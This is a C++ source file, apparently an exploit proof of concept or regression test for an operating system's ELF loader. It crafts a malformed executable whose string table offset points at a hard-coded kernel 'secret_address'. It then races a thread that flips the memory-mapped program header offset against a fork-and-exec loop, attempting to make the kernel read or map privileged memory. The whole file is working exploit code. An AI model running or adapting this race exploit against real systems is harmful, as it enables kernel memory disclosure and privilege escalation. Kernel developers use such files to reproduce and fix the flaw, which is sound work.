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#include <LibELF/exec_elf.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
volatile bool hax = false;
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_W;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0;
sym[0].st_name = 0;
header.e_entry = 0;
int fd = open("x", O_RDWR | O_CREAT, 0777);
if (fd < 0) {
perror("open");
return 1;
}
int nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
sync();
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
if (mapped == MAP_FAILED) {
perror("mmap");
return 1;
}
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
pthread_attr_t attrs;
pthread_attr_init(&attrs);
sched_param high_prio { 99 };
pthread_attr_setschedparam(&attrs, &high_prio);
pthread_t t;
pthread_create(
&t, &attrs, [](void* ctx) -> void* {
auto& ph = *(volatile Elf32_Phdr*)ctx;
for (;;) {
if (!hax)
ph.p_offset = 0x60000000;
else
ph.p_offset = 0;
hax = !hax;
usleep(1);
}
return nullptr;
},
&writable_program_headers[0]);
for (;;) {
if (!fork()) {
try_again:
printf("exec\n");
if (execl("/home/anon/x", "x", nullptr) < 0) {
}
goto try_again;
}
printf("waitpid\n");
waitpid(-1, nullptr, 0);
}
return 0;
}
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